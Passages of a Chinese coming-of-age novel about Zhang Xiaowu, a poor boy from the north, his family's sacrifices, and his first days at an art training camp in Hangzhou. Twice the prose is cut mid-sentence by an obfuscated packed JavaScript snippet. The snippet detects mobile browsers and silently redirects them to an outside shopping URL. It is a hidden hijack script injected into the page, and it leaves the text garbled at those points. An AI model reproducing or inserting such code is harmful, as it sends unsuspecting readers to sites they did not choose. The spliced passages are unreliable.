张建国摆了摆手,站起来,走向厨房。“行了,别啰嗦了,爸心里有数。你赶紧给你妈打电话,问问她能凑多少。” 张小五看着父亲的背影,心里像打翻了五味瓶。他拿出手机,走到阳台上,拨了母亲的号码。 电话响了好几声才接通,那头传来嘈杂的机器声,嗡嗡嗡的,像一群蜜蜂在耳边飞。王秀兰的声音很大,像是在喊:“小五?等一下!妈找个安静的地方!” 机器声渐渐远了,取而代之的是呼呼的风声。王秀兰应该是走到了厂房的门口或者楼顶。 “好了,小五,你说。” “妈,我想去杭州参加一个集训营,一个星期,要五千块。学校能补一部分,剩下的我想跟你借一点。” 电话那头沉默了几秒钟。张小五听见母亲轻轻地吸了一口气,然后呼出来,像是做了一个很重要的决定。 “要多少?” “不知道,看学校能补多少。可能还要两三千。” “行,妈给你凑。”王秀兰的声音很干脆,干脆得不像一个每月只挣两千多块的服装厂女工,“你什么时候走?” “期末考试之后,一月中旬。” “行,妈一月初把工资领了就给你打过去。你该订票订票,别耽误了。” 张小五握着手机,指节发白。“妈,你别太累了。” “累啥?妈不累。”王秀兰的声音忽然变得很轻,轻得像一阵风,“小五,你好好考,考上了,妈这辈子就值了。” 张小五没有说话。他看着阳台上那件深蓝色的毛衣,在风里轻轻摇晃,像一个人在招手。 期末考试在腊月二十结束。 张小五从考场出来的时候,腿是软的。不是因为考得不好,是因为太紧张了,紧张到胃痉挛,手心全是汗,连笔都差点握不住。他把最后一道数学大题做了出来,但不知道对不对,每一步都像是走在悬崖边上,一不小心就会掉下去。 “考得怎么样?”周扬从隔壁考场跑过来,脸上的表情比张小五还紧张。 “不知道。”张小五说,“等成绩吧。” 周扬没有再问。他从书包里掏出一袋牛奶和两个面包,塞到张小五手里。“吃点东西,你脸色好差。” 张小五接过面包,撕开包装,咬了一口。面包很软,很甜,但他嚼着嚼着就觉得反胃,咽不下去。他把面包收起来,喝了几口牛奶,胃里翻涌的感觉才慢慢平息下来。 “张小五,你寒假真去杭州?”周扬问。 “嗯,一月中旬走,集训一个星期。” “那你住哪儿?” “集训营包食宿,住宿舍,吃食堂。”张小五说,“李老师帮我都问好了。” 周扬点了点头,从口袋里掏出一个信封,塞到张小五手里。“这是我妈给你的,她说让你在杭州好好学,别给她丢人。” 张小五看着那个信封,不用打开就知道里面有多少。周扬他妈每次给钱都是这个信封,厚厚的一沓,码得整整齐齐。他捏了捏厚度,大概有两千块。 “周扬,这太多了……” “多什么多?”周扬瞪了他一眼,“你上次说等我成了大画家还我,这次也一样。等你成了大画家,连本带利还我。” 张小五看着周扬的脸。那张圆圆的、总是笑嘻嘻的脸,此刻绷得紧紧的,嘴唇抿成一条线,眼睛里有光——不是泪光,是一种很亮很亮的光,像是两颗小小的太阳。 “好。”张小五说,“我记着了。” 他把信封收好,和之前那些纸条放在一起。他的口袋里已经有很多纸条了——母亲的汇款单、李老师的推荐信、方老师的电话号码、陈雨桐送的画展门票。每一张纸条都是一束光,在他黑暗的日子里照亮他前行的路。 出发那天,天还没亮。 张小五五点钟就醒了,没有等闹钟。他躺在床上,看着天花板,听着窗外的风声。风很大,呜呜地吹,像有人在远处吹号角。他翻了个身,把被子裹紧了一点,然后又翻回来,盯着天花板上的那块水渍。 那块水渍的形状像一个问号。他已经看了它十几年了,从他还是一个小孩子的时候就开始看。那时候他问母亲:“妈,天花板上那个是什么?”母亲说:“那是水渍,下雨的时候屋顶漏了,留下的。”他又问:“为什么它像一个问号?”母亲笑了,说:“因为它也不知道自己为什么在那里。” 现在他知道答案了。那个问号不是水渍,是他的命运——一直在问,一直在找答案,一直找不到,但还是要问下去。 他爬起来,穿好衣服,去卫生间洗漱。刷牙的时候他对着镜子看了看自己,镜子里的人瘦得脱了形,颧骨高耸,眼窝深陷,但眼睛很亮,亮得像两颗被擦干净的星星。 他笑了。镜子里的他也笑了。 他走出卫生间,父亲已经在厨房了。灶台上煮着粥,咕嘟咕嘟地冒着泡,蒸笼里热着馒头,白气从锅盖的缝隙里钻出来,在厨房里弥漫。张建国站在灶台前,系着那条洗得发白的围裙,手里拿着勺子,正在搅粥。 “爸,你怎么起这么早?”张小五走过去,站在父亲旁边。 “你走了,爸一个人睡不着。”张建国说,语气很平,像是在说一件很普通的事情。他把火关了,把粥盛到碗里,又把馒头从蒸笼里夹出来,放在盘子里。 父子俩坐在桌边,吃早饭。粥很稠,馒头很软,咸菜很脆。张小五吃得很快,因为他要赶火车,但吃到一半的时候他忽然慢了下来,因为他忽然意识到,这将是他接下来一个星期里,最后一次和父亲一起吃饭。 “爸,你一个人在家,照顾好自己。”他说,声音有点闷。 “爸知道。”张建国夹了一筷子咸菜,放进粥里,搅了搅,“你到了杭州,给爸打电话。每天打一个,报平安。” “好。” “听老师的话,别跟人吵架。” “好。” “多穿点,杭州那边没暖气,湿冷,比咱这儿还冷。” “好。” 张建国张了张嘴,还想说什么,但最后什么也没说。他低下头,把碗里的粥喝完了,然后把碗放下,用袖子擦了擦嘴。 “走吧,爸送你。” 张小五背上书包,拉着一个旧行李箱。行李箱是姑姑借给他的,红色的,轮子有点涩,拉起来吱吱嘎嘎地响。他走到门口,回头看了一眼这间四十平米的老房子——掉了墙皮的墙,有裂纹的茶几,弹簧坏掉的沙发,快死了的绿萝,还有那扇用绳子系着的窗户。 他要把这个画面刻在脑子里,带到杭州去,画在纸上。 “走吧。”他说,像是在对自己说,也像是对这个房子说。 门关上了。钥匙在锁孔里转了两圈,咔嗒一声,锁住了。 张建国走在前面,张小五跟在后面。父子俩一前一后地走下楼梯,脚步声在空荡荡的楼道里回荡。六楼、五楼、四楼、三楼、二楼、一楼。每下一层,张小五的心就沉一点,像是有什么东西从身体里被抽走了,留下一个空空的洞。 走到楼下的时候,天还没亮。路灯还亮着,昏黄的灯光把整条巷子照得像一条金色的河流。那棵老槐树光秃秃的,枝丫像老人干枯的手指,指向灰蒙蒙的天空。 张小五抬起头,看着那棵槐树。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444016|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他忽然想起小时候,夏天的傍晚,他坐在树底下乘凉,母亲给他扇扇子,父亲在旁边抽烟。蚊子很多,叮得他满腿是包,母亲一边给他抹花露水一边骂父亲:“你抽的烟连蚊子都熏不跑,有什么用?”父亲就笑,笑得烟灰掉了一地。 那是他记忆里最幸福的夏天。 “走吧,别看了。”张建国的声音把他从回忆里拉了回来。 张小五收回目光,拉着行李箱,跟着父亲走出了巷子。 火车站离他们家不远,坐公交车二十分钟就到了。清晨的火车站人不多,候车室里稀稀拉拉地坐着几个人,有的在吃泡面,有的在打瞌睡,有的在低头看手机。张小五找了个位置坐下,把行李箱放在脚边,张建国坐在他旁边。 “爸,你回去吧。”张小五说,“我自己等就行。” “不急。”张建国说,“等你上车了,爸再走。” 张小五没有再劝。他知道父亲的脾气,决定了的事,九头牛都拉不回来。他从书包里拿出画本,翻到新的一页,开始画。他画的是候车室——一个很大的空间,顶上挂着巨大的时钟,指针指向六点四十。候车室里的人很少,稀稀拉拉的,像几粒散落的芝麻。他把父亲画在画面的右下角,坐在蓝色的塑料椅子上,双手放在膝盖上,眼睛看着前方,像是在看一列永远不会来的火车。 画完之后,他在纸的右下角写了一行字。 “爸爸送我到火车站。他说等我上车了再走。我知道他舍不得我,但他不说。” 广播响了:“开往杭州方向的Kxxxx次列车开始检票。” 张小五合上画本,站起来,拉起行李箱。张建国也站起来,帮他理了理围巾,把围巾的两头塞进他外套的领口里。 “到了打电话。”他说。 “好。” “别省钱,该吃吃,该喝喝。” “好。” “有什么事给爸打电话,爸手机二十四小时开机。” 张小五点了点头,转过身,走向检票口。他走了几步,停下来,回过头。 张建国还站在原地,双手插在口袋里,背微微弯着,像一棵被风吹弯的树。他看见张小五回头,朝他挥了挥手。 张小五也挥了挥手,然后转过身,走进了检票口。 他走过天桥,走下楼梯,找到了自己的车厢。他的座位是靠窗的,他把行李箱放上行李架,坐下来,看着窗外。 站台上还有一些人,有的是送行的,有的是被送的。一个年轻的女人抱着一个小孩,小孩在哭,女人在哄,旁边站着一个男人,手里提着一个大包,脸上的表情又着急又不舍。一个老爷爷拄着拐杖,被一个中年男人扶着,慢慢地走上车厢,中年男人一边走一边说:“爸,您慢点,不着急。” 张小五看着这些画面,忽然觉得鼻子很酸。他深吸一口气,把那股酸意压了下去,拿出画本,开始画窗外的站台。 他画的是父亲站过的那块地方。那块地方现在空了,只有蓝色的塑料椅子和光滑的水泥地。但他把父亲画了上去——那个瘦削的、微微驼背的、穿着深蓝色毛衣的男人,站在那块地方,双手插在口袋里,眼睛看着检票口。 火车开动了。窗外的景色开始往后退——站台、天桥、信号灯、铁轨、电线杆、田野、房屋、树木。所有的东西都在往后退,快得像电影的快进镜头,一帧一帧地闪过,来不及看清就已经消失在身后。 张小五靠着车窗,看着那些飞速后退的风景。他忽然想到,人生也是这样,一直在往前开,身后的东西一直在往后退,你抓不住,留不下,只能看着它们一点一点地变小,最后变成一个点,消失在远方。 但他不害怕。因为他知道,那些往后退的东西并没有消失,它们变成了他的一部分,长进了他的骨头里,流进了他的血液里,刻进了他的心里。父亲、母亲、周扬、陈雨桐、李老师、方老师、王医生、卖菜的大妈、公交车上给他让座的陌生人——这些人,这些事,这些善意,这些温暖,它们永远不会消失。 火车越开越快,窗外的风景越来越模糊。张小五把画本合上,抱在怀里,闭上眼睛。 他又走进了那间很大的画室,四面墙都是窗户,阳光从各个方向涌进来。画室里有很多人,父亲、母亲、周扬、陈雨桐、李老师、方老师,他们都站在他身后,看着他画画。 他拿起画笔,在那面巨大的白墙上画了一列火车。火车很长很长,看不到头也看不到尾,车窗里透出温暖的灯光,像一条金色的河流,在黑暗中流淌。 火车开往的方向,是杭州。 是梦想。 是未来。 他笑了,笑得眼睛弯弯的,像两个小月牙。 火车在铁轨上轰隆轰隆地响着,带着他和他的画本,带着他的梦想和希望,带着所有人的善意和祝福,驶向那个他从未去过但一直在梦里出现过的地方。 杭州,张小五来了。 21. 杭州的生活 火车开了将近十个小时。 张小五在车上画了四幅速写,背了一百个英语单词,做了两套数学卷子,吃了三桶泡面——红烧牛肉、香菇炖鸡、鲜虾鱼板,每一种味道都让他想起不同的人。红烧牛肉是父亲的,父亲最爱这个味道,每次煮泡面都要放两个鸡蛋,一个打在面里,一个煎在面上。香菇炖鸡是母亲的,她不喜欢吃辣,只吃这种清淡的口味,每次吃之前都要把里面的枸杞挑出来,说枸杞太甜了不好吃。鲜虾鱼板是他自己的,他不挑味道,有什么吃什么,但如果让他选,他选这个,因为汤好喝。 窗外的风景从北方的灰黄变成了南方的青绿。北方的冬天是灰的,天灰地灰树也灰,像一幅用炭笔画的素描。南方的冬天是绿的,田是绿的,山是绿的,连空气都带着一种湿润的、绿莹莹的光。张小五趴在车窗上,看着那些飞快后退的茶园和水田,手里的铅笔一直没停。他画了一座山,山不高,圆润得像一个馒头,山顶上有一座小亭子,亭子的尖顶在雾气里若隐若现。他画了一条河,河不宽,水很清,两岸种着竹子,竹叶在风里摇摆,像一群绿色的蝴蝶。他画了一片茶园,茶垄整整齐齐的,像一排排绿色的琴键,采茶的人背着竹篓,手指在茶树上飞快地跳动。 这些画面他从来没有见过。他出生在北方的那座小城,长在城中村的老房子里,去过最远的地方是市中心的公园。他不知道世界这么大,这么绿,这么湿,这么柔软。他的画一向是硬的、干的、黑白分明的,像北方的冬天,像他父亲的骨头,像他脚下的水泥路。但此刻,看着窗外那些湿润的、柔软的、层层叠叠的绿色,他忽然觉得自己的画太干了,干得像一张被揉皱又展平的纸,需要用水润一润,需要用颜色染一染,需要变得柔软一些。 下午五点多,火车终于到站了。 张小五背起书包,拉着行李箱,跟着人流走出车厢。站台上的风很大,吹得他的头发乱飞,他眯着眼睛,顺着指示牌往出站口走。走到出站口的时候,他看见一个人举着一块牌子,上面写着“中国美院附中寒假集训营”。举牌子的是一一二十出头的年轻男人,戴着一副圆框眼镜,穿着一件军绿色的棉袄,笑起来露出一对虎牙。 “你是张小五?”年轻男人看见他走过来,低头看了一眼手里的名单。 “是。” “我是集训营的辅导员,姓林,你叫我林老师就行。”年轻男人伸出手,和张小五握了握,然后帮他把行李箱接过去,“走吧,大巴在停车场等着,先送你们去宿舍。” 张小五跟着林老师走出火车站,上了一辆白色的大巴车。车上已经坐了一些人,都是和他差不多大的孩子,有的在聊天,有的在玩手机,有的在吃东西。他找了一个靠窗的位置坐下,把书包抱在怀里,看着窗外的城市。 杭州比他想象的要大,要大得多,也要漂亮得多。街道很宽很干净,两边的行道树是香樟,冬天也不落叶,绿油油的,像一把把撑开的绿伞。公交车是电动的,开起来几乎没有声音,安静得像一艘在湖面上滑行的船。远处有山,山不高,但线条很美,像一幅水墨画,层层叠叠的,近的浓,远的淡,最远的那一层几乎和天空融为一体。 张小五看着那些山,手不自觉地伸进书包里摸了摸画本。他想画,但现在不是时候。他要把这些画面记在脑子里,等安顿下来再画。 大巴开了四十多分钟,停在了一个校门前。校门不大,灰白色的石柱,上面挂着一块木匾,写着“中国美术学院附属中等美术学校”几个字。张小五看着那块木匾,心跳忽然加快了。这就是他梦寐以求的地方,这就是他拼了命也要考进来的学校。此刻,他就站在它的门口,虽然只是来参加一个集训营,虽然离正式考上还有很长的路要走,但至少,他来了。 他深吸一口气,拉着行李箱,跟着人群走进了校门。 校园不大,但很精致。几栋灰白色的小楼掩映在树丛中,楼与楼之间有连廊相连,连廊的柱子上爬满了藤蔓,即使是冬天,叶子也是绿的。操场很小,但很干净,跑道是红色的,草坪是绿色的,篮球架是新的,篮网是白的。空气中弥漫着一种淡淡的味道,不是松节油,不是颜料,是一种更复杂的、更高级的味道——是艺术的味道。 张小五站在操场上,闭上眼睛,深深地吸了一口气。他要把这个味道记住,记一辈子。 宿舍是四人间,上下铺。张小五被分到203房间,室友是三个他从没见过的男孩。一个来自江苏,戴眼镜,不爱说话,报到之后就一直坐在床上看书,书名叫《西方美术史》。一个来自江西,瘦高个,爱笑,一进门就开始跟所有人打招呼,自来熟得像认识了十年的老朋友。一个来自福建,矮胖,圆脸,手里拿着一个速写本,一直在画,画的是宿舍的窗户。 “你好,我叫陈默。”江苏的那个抬起头,推了推眼镜,朝张小五点了点头。 “我叫林笑。”江西的那个咧着嘴笑,露出一口白牙,“我妈说我生下来就会笑,所以给我取了这个名字。” “我叫郑远。”福建的那个头也不抬,手里的铅笔在纸面上飞速地移动,“你可以叫我阿远。” “我叫张小五。”张小五把自己的行李箱放在靠窗的那个下铺,拉开拉链,开始收拾东西。 林笑凑过来,看了一眼他的行李箱,眼睛瞪得溜圆:“你就带这么点东西?” 张小五的行李箱里只有几件换洗的衣服、一袋洗漱用品、一沓素描纸、几支铅笔和一小盒颜料。没有零食,没有游戏机,没有多余的鞋子,连一本课外书都没有。他的行李简单得像一个随时准备逃跑的人。 “够了。”张小五说,把衣服叠好放进柜子里,把画具摆在床头的小桌上。 林笑看了看自己的行李箱,又看了看张小五的,不好意思地挠了挠头。他的行李箱是张小五的三倍大,里面塞满了各种东西——薯片、饼干、巧克力、可乐、泡面、自热火锅、小说、杂志、平板电脑、游戏机、三双鞋、五件外套、七条裤子。 “我妈怕我饿着。”林笑解释道,脸上的表情又尴尬又得意。 张小五笑了。“你妈对你好。” 林笑愣了一下,然后也笑了。他笑的时候眼睛眯成一条缝,像两只小月牙,和张小五的笑有点像。 晚上六点,集训营开营仪式在阶梯教室举行。 阶梯教室很大,能坐两百多人,几乎坐满了。张小五坐在最后一排,旁边是陈默,陈默在看书,看的还是那本《西方美术史》。林笑坐在前面几排,正在跟旁边的女生聊天,聊得热火朝天。郑远坐在角落里,还在画画,画的是阶梯教室的全景——黑压压的人头,明亮的灯光,讲台上站着几个老师。 讲台上站着一个五十多岁的男人,头发花白,戴着一副金丝眼镜,穿着一件灰色的毛衣,气质温文尔雅,像一个古代的文人。他拿起话筒,清了清嗓子,教室里安静了下来。 “同学们好,我是这次集训营的负责人,姓周,你们可以叫我周老师。”他的声音不大,但很有穿透力,每一个字都清清楚楚地送到每个人的耳朵里,“首先,欢迎大家来到中国美院附中。在接下来的七天里,你们将在这里接受最专业的美术训练,体验最纯粹的的艺术氛围。我希望你们能珍惜这个机会,用心去感受,用笔去表达,用眼睛去发现。” 张小五坐在最后一排,听着周老师的讲话,心里涌起一股热流。不是因为激动,是因为一种久违的归属感。他在这里,在这个满是画画的人的地方,在这个空气中弥漫着松节油和颜料气味的地方,他觉得自在,觉得安全,觉得自己属于这里。 这种感觉,他从来没有过。 周老师讲完之后,一个年轻的老师上来讲解了集训营的课程安排。上午是素描,下午是色彩,晚上是速写,每天都有老师点评作品,最后一天有结业考试,成绩优秀的学生可以获得美院附中的“推荐资格”。 推荐资格。这四个字像一颗炸弹,在张小五的脑海里炸开了。他知道这意味着什么——如果他能拿到推荐资格,他考美院附中的把握就大了很多。不是保送,不是降分,而是一种认可,一种来自美院附中老师的认可。这种认可比任何奖状都有说服力,比任何推荐信都有分量。 他握紧了手里的铅笔,指节发白。 他一定要拿到。 开营仪式结束后,张小五没有回宿舍,而是去了画室。 画室在教学楼的三楼,是一间很大的屋子,比他们学校的教室大三倍。窗户很大,朝北,光线均匀而柔和。画架上摆着石膏像——大卫、维纳斯、伏尔泰、海盗,一个个白色的头像在灯光下静静地立着,像一群沉默的哲学家。墙边堆着画架和画板,桌上摆着颜料和画笔,空气中弥漫着松节油的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444017|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气味,浓烈得让人头晕,但张小五觉得好闻极了。 他找了一个画架,支好画板,夹上一张素描纸,拿起一支6B铅笔。 他画的是对面墙上的大卫石膏像。大卫的眼睛看着远方,眉头微蹙,嘴唇紧闭,表情严肃而坚毅。张小五以前画过很多次大卫,但从来没有像现在这样认真过。他不再是那个在城中村老房子里对着照片临摹的业余爱好者,而是一个站在美院附中画室里、对着真正的石膏像写生的考生。 他的每一笔都带着一种前所未有的虔诚。 他画了一个小时,画到手指发酸,画到眼睛发花,画到周围的同学都走了,画到整间画室只剩下他一个人。他退后几步,看着自己的画,画上的大卫像一座山,稳稳地立在纸面上,骨骼结构准确,明暗关系清晰,甚至连那种坚毅的表情都捕捉到了几分。 “画得不错。” 张小五吓了一跳,转过身,看见周老师站在门口,双手插在口袋里,正看着他的画。 “周老师。”张小五的声音有点紧。 周老师走过来,站在他旁边,看了很久。“你是哪个学校的?” “北城中学,初三。” “北城?”周老师想了想,“北方那个?” “是。” “第一次来南方?” “是。” 周老师点了点头,伸出手,指着画上的大卫。“你的基本功很扎实,结构、比例、明暗都处理得很好。但有一个问题。” 张小五的心紧了一下。 “你的画太紧了。”周老师说,“每一笔都很小心,很谨慎,生怕画错。画画不能这样,画画要放松,要大胆,要敢画错。错了可以改,但不敢画,就什么都画不出来。” 张小五看着自己的画,确实,每一笔都太小心了,像是用尺子量过一样,规规矩矩的,没有意外,没有惊喜,没有那种“歪的才是活的”的生命力。 “谢谢周老师。”他说。 周老师拍了拍他的肩膀,转身走了。走到门口的时候,他停下来,回过头。 “好好练,你有天赋。” 门关上了。画室里只剩下张小五一个人,和一屋子的石膏像。那些白色的头像在灯光下静静地立着,像一群沉默的观众。他看着它们,它们也看着他,目光空洞而深邃,像在问他一个问题——你能行吗? 张小五拿起铅笔,重新开始画。 这一次,他试着放松。他的手不再那么用力了,铅笔在纸面上滑过,留下一条条流畅的线条。他不再害怕画错,错了就用橡皮擦掉,或者将错就错,把那条错误的线条变成画面的一部分。他画了一个小时,又画了一个小时,画到手指发酸,画到眼睛发花,画到整幅画从纸面上浮现出来,像一个活生生的人站在那里。 他退后几步,看着这幅新画。它比刚才那幅粗糙,很多地方不够精细,明暗关系也不够准确,但它是活的。大卫的眼睛不再空洞,而是有了一种说不清的光芒,像是真的在看着远方,看着一个只有他自己知道的地方。 张小五笑了。 他把画从画板上取下来,小心翼翼地放进画筒里,收拾好画具,关了灯,走出了画室。 走廊里很安静,只有他的脚步声在空荡荡的空间里回荡。他走在月光里,影子被拉得很长很长,像一个巨人。 他回到宿舍的时候,室友们都睡了。林笑打着呼噜,声音很大,像一台老旧的拖拉机。陈默的被子掉了一半在地上,他蜷缩在床角,像一只猫。郑远的床头还亮着一盏小灯,他还没睡,正在画一幅速写。 张小五轻手轻脚地爬上自己的床,把画筒放在枕头旁边,盖上被子。 他拿出手机,给父亲发了一条消息:“爸,到了。画室很好,老师很好,室友也很好。你别担心。” 过了一会儿,父亲回了一条:“好。早点睡。” 他又给母亲发了一条:“妈,我到杭州了。集训营明天正式开始。我会努力的。” 母亲没有回,可能是睡了,可能还在加班。他把手机放在枕头底下,闭上眼睛。 黑暗中,他又听见了那个声音。 “画下去。” 他笑了。 会的。在杭州,在北城,在任何地方,他都会画下去。 直到画出那个他想要的未来。 22. 集训 第一天正式上课,张小五六点不到就醒了。 不是因为紧张,是因为林笑的呼噜声实在太大了。那种声音像一台老式拖拉机在泥泞的田埂上挣扎前行,突突突、突突突,忽高忽低,时而急促时而舒缓,偶尔还会突然停顿几秒——就在你以为他终于安静了的时候,一声惊雷般的呼噜又炸开来,震得窗户都在微微颤抖。 张小五躺在床上,盯着上铺的床板,数着林笑的呼噜节拍。他数到了一百二十三,呼噜还没停。他又数到了二百五十六,还是没停。他放弃了,掀开被子,轻手轻脚地爬下床。 陈默已经醒了。他坐在床上,被子裹在身上,只露出一张脸和一只手。手里拿着那本《西方美术史》,就着床头小灯的微光在看书,像一尊沉浸在知识海洋里的雕塑。 “早。”张小五小声说。 陈默看了他一眼,点了点头,又把目光移回到书上。 郑远还在睡。他的睡相很安静,整个人缩在被子里,只露出几根头发。枕头旁边放着速写本和铅笔,像一个随时准备醒来画画的战士。 张小五去卫生间洗漱,回来的时候林笑的呼噜终于停了。他换了姿势,侧躺着,嘴里嘟囔了一句什么,翻了个身,继续睡,这次没打呼噜了。 张小五穿上外套,拿着画本和铅笔,走出了宿舍。 清晨的校园很安静,安静得能听见自己的脚步声。地面湿漉漉的,昨晚下了雨,空气中有一种潮湿的、清冽的、带着泥土和草叶气息的味道。张小五深深地吸了一口,觉得肺里凉丝丝的,像是喝了一口冰镇的薄荷水。 他走到画室门口,门还没开。他靠在走廊的柱子上,拿出画本,开始画对面的教学楼。那栋楼是灰白色的,三楼,窗户很大,屋顶是坡形的,铺着灰色的瓦片。楼前有几棵香樟树,枝叶繁茂,把一楼和二楼的窗户遮了大半。他把这些画下来,用很轻的线条,一层一层地叠加,让画面有一种清晨特有的朦胧感。 画完之后,他在纸的右下角写了一个时间:6:47。 门开了。开门的是一个老头,穿着蓝色的工作服,手里拿着一串钥匙。他看到张小五,愣了一下。 “你这么早?” “嗯,睡不着。”张小五把画本收起来,跟着老头走进画室。 老头打开灯,日光灯一盏一盏地亮起来,发出轻微的嗡嗡声。光线下,那些石膏像从黑暗中浮现出来,像一群刚从睡梦中醒来的白色精灵。大卫、维纳斯、伏尔泰、海盗,它们静静地立在架子上,姿态各异,表情各异,但都带着一种共同的、超越时空的宁静。 张小五走到昨天那个画架前,支好画板,夹上一张新的素描纸。他今天不画大卫了,他画维纳斯。维纳斯的头像比大卫小一些,线条更柔和,表情更温婉。她的眼睛微垂,嘴角含着一丝若有若无的笑意,像在想一件很开心的事,又像在做一个很美的梦。 他画了一个小时,画到七点四十,去食堂吃早饭。 食堂在一楼,已经有很多人了。张小五端着托盘,排队打了两个包子、一碗粥和一个煮鸡蛋,找了一个靠窗的位置坐下。他刚坐下,林笑就端着托盘过来了,后面跟着陈默和郑远。 “张小五,你起那么早干嘛?”林笑打着哈欠,眼睛还是肿的,“我醒来发现你不见了,以为你跑了。” “跑什么跑,交了钱的。”张小五咬了一口包子,包子是肉馅的,汤汁很足,一咬就流出来,烫得他直吸气。 林笑嘿嘿笑了两声,开始吃他的早饭。他的早饭是张小五的三倍——四个包子、两碗粥、两个鸡蛋、一根油条、一碟咸菜。他吃东西很快,像有人在跟他抢一样,腮帮子鼓鼓的,嚼得咔嚓咔嚓响。 陈默吃得很慢,一口粥要含很久才咽下去,眼睛一直盯着手里的书。张小五瞥了一眼,书翻到了文艺复兴那一章,页边有一幅达·芬奇的《维特鲁威人》,一个裸体的男人站在一个圆和方中间,四肢伸展,像一只张开翅膀的蝴蝶。 郑远不吃早饭。他说他早上没有胃口,只喝了一杯水,然后就拿出速写本开始画食堂。他画的是食堂的全景——长条形的空间,一排排的桌椅,打饭的队伍,端着托盘穿梭的人群。他的线条很快很准,几笔就能勾勒出一个人的轮廓,像一台人肉照相机。 张小五看着他画,心里暗暗佩服。这个不爱说话、只知道画画的男孩,基本功比他扎实得多。不是那种死板的、教科书式的扎实,而是一种灵动的、活生生的、有呼吸的扎实。他的每一笔都带着一种自信,一种“我知道我在画什么”的笃定。 上午八点,素描课正式开始。 教素描的是一个四十多岁的女老师,姓沈,短发,圆脸,戴着一副无框眼镜,说话的声音很温柔,像春天的风。她站在画室前面,面前摆着一个石膏像——不是大卫,不是维纳斯,是一个张小五没见过的头像,一个老人的脸,满脸皱纹,表情痛苦,嘴巴张着,像是在呐喊。 “这是《拉奥孔》。”沈老师说,“特洛伊的祭司,因为识破了希腊人的木马计,被雅典娜派来的巨蛇缠死。你们今天画这个。” 张小五看着那个痛苦的面孔,心里忽然有一种奇怪的感觉。那个老人的表情太真实了,真实到让他觉得不舒服。那种痛苦不是演出来的,是刻在骨头里的,是渗进血液里的,是经历过真正的绝望之后才会有的表情。 他想起父亲躺在病床上的样子。不是手术后慢慢康复的样子,是刚确诊时、躺在病床上看着天花板、眼睛里一点光都没有的样子。那个样子的父亲,就是这个表情——不是呐喊,是无声的、绝望的、连喊都喊不出来的痛苦。 他深吸一口气,拿起铅笔,开始画。 他画得很慢,比平时慢得多。他不再急着去捕捉结构、比例、明暗,而是先去感受。感受那个老人的痛苦,感受那些蛇缠绕在他身上的窒息感,感受他在生命最后一刻的不甘和愤怒。他把自己当成拉奥孔,把自己当成父亲,把自己当成所有被命运扼住喉咙但仍然拼命挣扎的人。 他画了整整一个上午。 下课铃响的时候,他才发现自己连厕所都没去上。他的手指酸得伸不直,脖子僵得像一块木板,眼睛干涩发疼,但他看着自己画完的作品,心里有一种从未有过的满足感。 画上的拉奥孔不再是课本上那个冷冰冰的石膏像,而是一个活生生的人。他的脸上有痛苦,有不甘,有愤怒,但还有一种说不清的东西——也许是希望,也许是在绝望的最深处、仍然没有熄灭的那一点点光。 沈老师走过来,站在他身后,看了很久。 “你叫张小五?”她问。 “是。” 沈老师没有再说话。她拿起张小五的画,举到灯光下,看了又看,然后放下来,放回画架上。 “下午的色彩课,你来我办公室拿颜料。”她说,语气很平,但眼神里有一种只有张小五才能读懂的东西——那不是夸奖,是一种认可,一种“我看好你”的暗示。 张小五的心跳了一下。 “谢谢沈老师。”他说。 下午的色彩课,张小五第一次用上了专业的颜料。 沈老师给了他一套水彩颜料,十二色的,温莎牛顿,装在铁盒子里,打开之后整整齐齐的一排,像一列彩色的小火车。他把颜料一支一支地挤在调色盘上,红的、黄的、蓝的、绿的、紫的、黑的、白的,每一种颜色都有自己的名字——镉红、柠檬黄、钴蓝、翠绿、永固紫、象牙黑、钛白。 他拿起画笔,蘸了水,蘸了颜料,在纸上轻轻点了一下。颜料在湿润的纸面上扩散开来,像一朵花在绽放,边缘是模糊的,中间是浓的,从中心到边缘逐渐变淡,最后消失在白色的纸面上。 他看呆了。 这就是颜色。真正的、活的、有生命的颜色。不是他用铅笔调子模拟出来的假颜色,不是他用三原色勉强调配出来的次品,而是真正的、纯粹的、来自大自然的颜色。 他深吸一口气,开始画。 他画的是拉奥孔。不是上午那个素描的拉奥孔,而是一个全新的、用颜色去表达的拉奥孔。他用赭石画老人的皮肤,用熟褐画皱纹的阴影,用钴蓝画蛇的身体,用深红画那些被蛇咬过的伤口。他没有用太多的颜色,只是最基本的几种,但他尽力让每一种颜色都发挥出最大的力量。 画完之后,他退后几步,看着自己的作品。 不好。他知道不好。颜色太生硬了,过渡不够自然,有的地方太浓,有的地方太淡,整体看起来像一幅没画完的半成品。但这是他用真正的颜料画的第一幅画,是他迈向色彩世界的第一步。 这一步,他走得不算好,但他走出了。 晚上是速写课。 教速写的是一位年轻的男老师,姓孙,二十七八岁,留着长发,扎了一个小辫子,穿着一件黑色的皮夹克,看起来像个摇滚歌手。他让同学们互相画,两人一组,五分钟一张,不停地换姿势,不停地画。 张小五和林笑一组。林笑坐在椅子上,张小五站在三米外,飞快地画着他的轮廓。五分钟很短,短到只能画出最基本的动态和比例。他来不及细画,只能用最简洁的线条去捕捉林笑的姿态——身体的倾斜角度,手臂的摆放位置,腿的交叉方式。 